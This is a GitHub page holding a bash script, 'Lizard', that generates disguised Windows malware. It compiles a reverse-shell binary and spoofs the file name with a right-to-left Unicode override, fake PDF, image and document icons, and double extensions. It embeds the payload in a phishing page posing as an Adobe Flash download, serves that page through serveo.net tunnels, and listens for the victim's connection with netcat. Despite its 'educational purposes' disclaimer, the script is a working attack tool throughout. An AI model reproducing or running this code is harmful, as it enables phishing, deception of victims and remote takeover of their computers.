-
Notifications
You must be signed in to change notification settings - Fork 38
/
Copy pathlizard.sh
329 lines (231 loc) · 11.9 KB
/
lizard.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
#!/bin/bash
# Lizard v1.0
# This tool was developed for pentesters and educational purposes only
# coded by: @linux_choice
# github.com/thelinuxchoice/lizard
# If you use any part from this code, giving me the credits. Read the Lincense!
trap 'printf "\n";stop' 2
coded_by() {
printf " \e[1;77m[\e[1;93m::\e[0m\e[1;77m]\e[1;31m Extension Spoofer and Payload Generator\e[0m \e[1;77m[\e[1;93m::\e[0m\e[1;77m]\e[0m\n"
printf " \e[1;77m[\e[1;93m::\e[0m\e[1;77m] v1.0 coded by @linux_choice \e[1;77m[\e[1;93m::\e[0m\e[1;77m]\e[0m\n"
printf " \e[1;77m[\e[1;93m::\e[0m\e[1;77m] github.com/thelinuxchoice/lizard \e[0m\e[1;77m[\e[1;93m::\e[0m\e[1;77m]\e[0m\n"
printf "\n"
}
banner2() {
printf "\n"
printf ' ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| \n'
printf ' |\e[1;31m///\e[0m |||||||\e[1;31m/////\e[0m |\e[1;31m/////////\e[0m ||\e[1;31m///////\e[0m ||\e[1;31m////////\e[0m ||\e[1;31m////////\e[0m || \n'
printf ' |\e[1;31m///\e[0m ||||||||\e[1;31m///\e[0m |||||||\e[1;31m///\e[0m ||\e[1;31m///\e[0m ||\e[1;31m///\e[0m |\e[1;31m///\e[0m ||\e[1;31m///\e[0m |\e[1;31m///\e[0m ||\e[1;31m///\e[0m | \n'
printf ' |\e[1;31m///\e[0m ||||||||\e[1;31m///\e[0m |||||\e[1;31m///\e[0m ||||\e[1;31m/////////\e[0m |\e[1;31m////////\e[0m ||\e[1;31m///\e[0m ||\e[1;31m///\e[0m | \n'
printf ' |\e[1;31m///\e[0m ||||||||\e[1;31m///\e[0m |||\e[1;31m///\e[0m ||||||\e[1;31m///\e[0m ||\e[1;31m///\e[0m |\e[1;31m///\e[0m ||\e[1;31m///\e[0m |\e[1;31m///\e[0m ||\e[1;31m///\e[0m | \n'
printf ' |\e[1;31m/////////\e[0m |\e[1;31m/////\e[0m |\e[1;31m/////////\e[0m |\e[1;31m///\e[0m ||\e[1;31m///\e[0m |\e[1;31m///\e[0m ||\e[1;31m///\e[0m |\e[1;31m////////\e[0m || \n'
printf ' ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| \n'
printf "\n"
}
banner0() {
printf "\n"
printf ' ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| \n'
printf ' |/// |||||||///// |///////// ||/////// ||//////// ||//////// || \n'
printf ' |/// ||||||||/// |||||||/// ||/// ||/// |/// ||/// |/// ||/// | \n'
printf ' |/// ||||||||/// |||||/// ||||///////// |//////// ||/// ||/// | \n'
printf ' |/// ||||||||/// |||/// ||||||/// ||/// |/// ||/// |/// ||/// | \n'
printf ' |///////// |///// |///////// |/// ||/// |/// ||/// |//////// || \n'
printf ' ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| \n'
printf "\n"
}
banner() {
printf "\n"
printf ' ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| \n'
printf ' |\e[1;93m///\e[0m |||||||\e[1;93m/////\e[0m |\e[1;93m/////////\e[0m ||\e[1;93m///////\e[0m ||\e[1;93m////////\e[0m ||\e[1;93m////////\e[0m || \n'
printf ' |\e[1;93m///\e[0m ||||||||\e[1;93m///\e[0m |||||||\e[1;93m///\e[0m ||\e[1;93m///\e[0m ||\e[1;93m///\e[0m |\e[1;93m///\e[0m ||\e[1;93m///\e[0m |\e[1;93m///\e[0m ||\e[1;93m///\e[0m | \n'
printf ' |\e[1;93m///\e[0m ||||||||\e[1;93m///\e[0m |||||\e[1;93m///\e[0m ||||\e[1;93m/////////\e[0m |\e[1;93m////////\e[0m ||\e[1;93m///\e[0m ||\e[1;93m///\e[0m | \n'
printf ' |\e[1;93m///\e[0m ||||||||\e[1;93m///\e[0m |||\e[1;93m///\e[0m ||||||\e[1;93m///\e[0m ||\e[1;93m///\e[0m |\e[1;93m///\e[0m ||\e[1;93m///\e[0m |\e[1;93m///\e[0m ||\e[1;93m///\e[0m | \n'
printf ' |\e[1;93m/////////\e[0m |\e[1;93m/////\e[0m |\e[1;93m/////////\e[0m |\e[1;93m///\e[0m ||\e[1;93m///\e[0m |\e[1;93m///\e[0m ||\e[1;93m///\e[0m |\e[1;93m////////\e[0m || \n'
printf ' ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| \n'
printf "\n"
}
stop() {
if [[ $checkphp == *'php'* ]]; then
killall -2 php > /dev/null 2>&1
fi
if [[ $checkssh == *'ssh'* ]]; then
killall -9 ssh > /dev/null 2>&1
killall -9 ssh > /dev/null 2>&1
fi
if [[ -e index.html ]]; then
rm -rf index.html
fi
if [[ -e sendlink ]]; then
cat sendlink >> backup.serveo.tcp
rm -rf sendlink
fi
rm -rf *.exe > /dev/null 2>&1
exit 1
}
dependencies() {
command -v base64 > /dev/null 2>&1 || { echo >&2 "I require base64 but it's not installed. Install it. Aborting."; exit 1; }
command -v zip > /dev/null 2>&1 || { echo >&2 "I require zip but it's not installed. Install it. Aborting."; exit 1; }
command -v netcat > /dev/null 2>&1 || { echo >&2 "I require netcat but it's not installed. Install it. Aborting."; exit 1; }
command -v php > /dev/null 2>&1 || { echo >&2 "I require php but it's not installed. Install it. Aborting."; exit 1; }
command -v ssh > /dev/null 2>&1 || { echo >&2 "I require ssh but it's not installed. Install it. Aborting."; exit 1; }
command -v i686-w64-mingw32-gcc > /dev/null 2>&1 || { echo >&2 "I require mingw-w64 but it's not installed. Install it: apt-get update && apt-get install mingw-w64";
exit 1; }
}
server() {
printf "\e[1;77m[\e[0m\e[1;93m::\e[0m\e[1;77m] Starting Serveo...\e[0m\n"
if [[ $checkphp == *'php'* ]]; then
killall -2 php > /dev/null 2>&1
fi
if [[ $subdomain_resp == true ]]; then
$(which sh) -c 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R '$subdomain':80:localhost:3333 serveo.net -R '$default_port1':localhost:4444 2> /dev/null > sendlink ' &
printf "\e[1;77m[\e[0m\e[1;31m::\e[0m\e[1;77m]\e[0m\e[1;31m TCP Forwarding:\e[0m\e[1;77m serveo.net:%s/\e[0m\n" $default_port1
sleep 8
else
$(which sh) -c 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:3333 serveo.net -R '$default_port1':localhost:4444 2> /dev/null > sendlink ' &
printf "\e[1;77m[\e[0m\e[1;31m::\e[0m\e[1;77m]\e[0m\e[1;31m TCP Forwarding:\e[0m\e[1;77m serveo.net:%s/\e[0m\n" $default_port1
fi
printf "\e[1;77m[\e[0m\e[1;33m::\e[0m\e[1;77m] Starting php server... (localhost:3333)\e[0m\n"
fuser -k 3333/tcp > /dev/null 2>&1
php -S localhost:3333 > /dev/null 2>&1 &
sleep 4
send_link=$(grep -o "https://[0-9a-z]*\.serveo.net" sendlink)
printf "\n"
printf '\e[1;93m[\e[0m\e[1;77m::\e[0m\e[1;93m]\e[0m\e[1;91m Direct link:\e[0m\e[1;77m %s\n' $send_link
printf '\e[1;93m[\e[0m\e[1;77m::\e[0m\e[1;93m]\e[0m\e[1;77m Obfuscation URL use bitly.com (insert above link without https)\e[0m\n'
}
listener() {
printf "\e[1;77m[\e[0m\e[1;33m::\e[0m\e[1;77m] Listening connection:\e[0m\n"
nc -lvp 4444
}
payload() {
printf "\e[1;77m[\e[0m\e[1;33m::\e[0m\e[1;77m] Building malware binary\e[0m\n"
sed 's+serveo_port+'$default_port1'+g' src/source.c > rs.c
ltro=$(echo -e '\u202e')
i686-w64-mingw32-windres icon.rc -O coff -o my.res
i686-w64-mingw32-gcc rs.c my.res -o "$payload_name""$ltro""$extension".exe
rm -rf rs.c my.res icon.rc
if [[ -e "$payload_name""$ltro""$extension".exe ]]; then
if [[ ! -d "$payload_name"/ ]]; then
mkdir "$payload_name/"
fi
cp "$payload_name""$ltro""$extension".exe "$payload_name"/"$payload_name""$ltro""$extension".exe
cp "$payload_name""$ltro""$extension".exe "$payload_name"/"$payload_name""$ltro""$extension".pif
cp "$payload_name""$ltro""$extension".exe "$payload_name"/"$payload_name""$ltro""$extension".com
cp "$payload_name""$ltro""$extension".exe "$payload_name"/"$payload_name""$ltro""$extension".scr
cp "$payload_name""$ltro""$extension".exe "$payload_name"/"$ltro""$extension".scr
cp "$payload_name""$ltro""$extension".exe "$payload_name"/"$payload_name".scr
cp "$payload_name""$ltro""$extension".exe "$payload_name"/"$payload_name".pdf.pif
cp "$payload_name""$ltro""$extension".exe "$payload_name"/"$payload_name".png.pif
cp "$payload_name""$ltro""$extension".exe "$payload_name"/"$payload_name".jpg.pif
cp "$payload_name""$ltro""$extension".exe "$payload_name"/"$payload_name".mp3.pif
cp "$payload_name""$ltro""$extension".exe "$payload_name"/"$payload_name".mp4.pif
cp "$payload_name""$ltro""$extension".exe "$payload_name"/"$payload_name".doc.pif
cp "$payload_name""$ltro""$extension".exe "$payload_name"/"$payload_name".ppt.pif
zip "$payload_name"_all.zip "$payload_name"/* > /dev/null 2>&1
zip $payload_name.zip "$payload_name""$ltro""$extension".exe > /dev/null 2>&1
IFS=$'\n'
data_base64=$(base64 -w 0 $payload_name.zip) # > b64.txt)
temp64="$( echo "${data_base64}" | sed 's/[\\&*./+!]/\\&/g' )"
printf "\e[1;77m[\e[0m\e[1;33m::\e[0m\e[1;77m] Converting binary to base64\e[0m\n"
printf "\e[1;77m[\e[0m\e[1;33m::\e[0m\e[1;77m] Injecting Data URI code into index.html\e[0m\n"
sed 's+url_website+'$url'+g' src/template.html | sed 's+payload_name+'$payload_name'+g' > src/temp
sed -f - src/temp > index.html << EOF
s/data_base64/${temp64}/g
EOF
rm -rf src/temp > /dev/null 2>&1
server
printf "\n"
printf '\e[1;93m[\e[0m\e[1;77m::\e[0m\e[1;93m]\e[0m\e[1;91m USB Stick Formats Saved\e[0m\e[1;77m (%s/):\e[0m\n' $payload_name
printf "\n"
count=0
for saved_file in $(ls "$payload_name"/); do
printf "\e[1;33m[\e[0m\e[1;77m%s\e[0m\e[1;33m] %s \e[0m\n" $count $saved_file
let count++
done
send_link=$(grep -o "https://[0-9a-z]*\.serveo.net" sendlink)
printf "\n"
printf '\e[1;93m[\e[0m\e[1;77m::\e[0m\e[1;93m]\e[0m\e[1;91m Direct link:\e[0m\e[1;77m %s/%s_all.zip\n' $send_link $payload_name
printf "\n"
listener
else
printf "\e[1;93mError compiling\e[0m\n"
fi
}
config() {
default_spoof="PDF"
printf '\n'
printf ' \e[1;33m[\e[0m\e[1;31m01\e[0m\e[1;33m]\e[0m\e[1;77m PDF\e[0m\n '
printf '\e[1;33m[\e[0m\e[1;31m02\e[0m\e[1;33m]\e[0m\e[1;77m PNG\e[0m\n '
printf '\e[1;33m[\e[0m\e[1;31m03\e[0m\e[1;33m]\e[0m\e[1;77m JPG\e[0m\n '
printf '\e[1;33m[\e[0m\e[1;31m04\e[0m\e[1;33m]\e[0m\e[1;77m MP3\e[0m\n '
printf '\e[1;33m[\e[0m\e[1;31m05\e[0m\e[1;33m]\e[0m\e[1;77m MP4\e[0m\n '
printf '\e[1;33m[\e[0m\e[1;31m06\e[0m\e[1;33m]\e[0m\e[1;77m DOC\e[0m\n '
printf '\e[1;33m[\e[0m\e[1;31m07\e[0m\e[1;33m]\e[0m\e[1;77m PPT\e[0m\n '
printf '\n\e[1;33m[\e[0m\e[1;77m::\e[0m\e[1;33m] Spoof extension option: (Default:\e[0m\e[1;77m %s \e[0m\e[1;33m): \e[0m' $default_spoof
read spoof
spoof="${spoof:-${default_spoof}}"
if [[ $spoof -eq 1 ]] || [[ $spoof == "PDF" ]] || [[ $spoof == "pdf" ]] ; then
printf "id ICON \"%s\"" icons/pdf.ico > icon.rc
extension="fdp"
elif [[ $spoof -eq 2 ]] || [[ $spoof == "PNG" ]] || [[ $spoof == "png" ]] ; then
printf "id ICON \"%s\"" icons/png.ico > icon.rc
extension="gnp"
elif [[ $spoof -eq 3 ]] || [[ $spoof == "JPG" ]] || [[ $spoof == "jpg" ]] ; then
printf "id ICON \"%s\"" icons/jpg.ico > icon.rc
extension="gpj"
elif [[ $spoof -eq 4 ]] || [[ $spoof == "MP3" ]] || [[ $spoof == "mp3" ]] ; then
printf "id ICON \"%s\"" icons/mp3.ico > icon.rc
extension="3pm"
elif [[ $spoof -eq 5 ]] || [[ $spoof == "MP4" ]] || [[ $spoof == "mp4" ]] ; then
printf "id ICON \"%s\"" icons/mp4.ico > icon.rc
extension="4pm"
elif [[ $spoof -eq 6 ]] || [[ $spoof == "DOC" ]] || [[ $spoof == "doc" ]] ; then
printf "id ICON \"%s\"" icons/doc.ico > icon.rc
extension="cod"
elif [[ $spoof -eq 7 ]] || [[ $spoof == "PPT" ]] || [[ $spoof == "ppt" ]] ; then
printf "id ICON \"%s\"" icons/ppt.ico > icon.rc
extension="tpp"
else
printf '\n\e[1;33m[\e[0m\e[1;77m!\e[0m\e[1;33m] Invalid option, try again \e[0m\n'
config
fi
}
start() {
default_port1=$(seq 1111 4444 | sort -R | head -n1)
default_payload_name="lizard"
default_url="https://get.adobe.com/flashplayer/download"
printf '\e[1;33m[\e[0m\e[1;77m::\e[0m\e[1;33m] Payload name (Default:\e[0m\e[1;77m %s \e[0m\e[1;33m): \e[0m' $default_payload_name
read payload_name
payload_name="${payload_name:-${default_payload_name}}"
printf '\e[1;33m[\e[0m\e[1;77m::\e[0m\e[1;33m] Phishing URL (Default:\e[0m\e[1;77m %s \e[0m\e[1;33m): \e[0m' $default_url
read url
url="${url:-${default_url}}"
printf '\e[1;33m[\e[0m\e[1;77m::\e[0m\e[1;33m] Serveo (Forwarding) Port (Default:\e[0m\e[1;77m %s \e[0m\e[1;33m): \e[0m' $default_port1
read ddefault_port1
ddefault_port1="${ddefault_port1:-${default_port1}}"
default_choose_sub="Y"
default_subdomain="lizard$RANDOM"
printf '\e[1;33m[\e[0m\e[1;77m::\e[0m\e[1;33m] Choose subdomain? (Default:\e[0m\e[1;77m [Y/n] \e[0m\e[1;33m): \e[0m'
read choose_sub
choose_sub="${choose_sub:-${default_choose_sub}}"
if [[ $choose_sub == "Y" || $choose_sub == "y" || $choose_sub == "Yes" || $choose_sub == "yes" ]]; then
subdomain_resp=true
printf '\e[1;33m[\e[0m\e[1;77m::\e[0m\e[1;33m] Subdomain: (Default:\e[0m\e[1;77m %s \e[0m\e[1;33m): \e[0m' $default_subdomain
read subdomain
subdomain="${subdomain:-${default_subdomain}}"
fi
payload
}
clear
banner0
sleep 1
clear
if (( $RANDOM % 2 )); then
banner
else
banner2
fi
coded_by
dependencies
config
start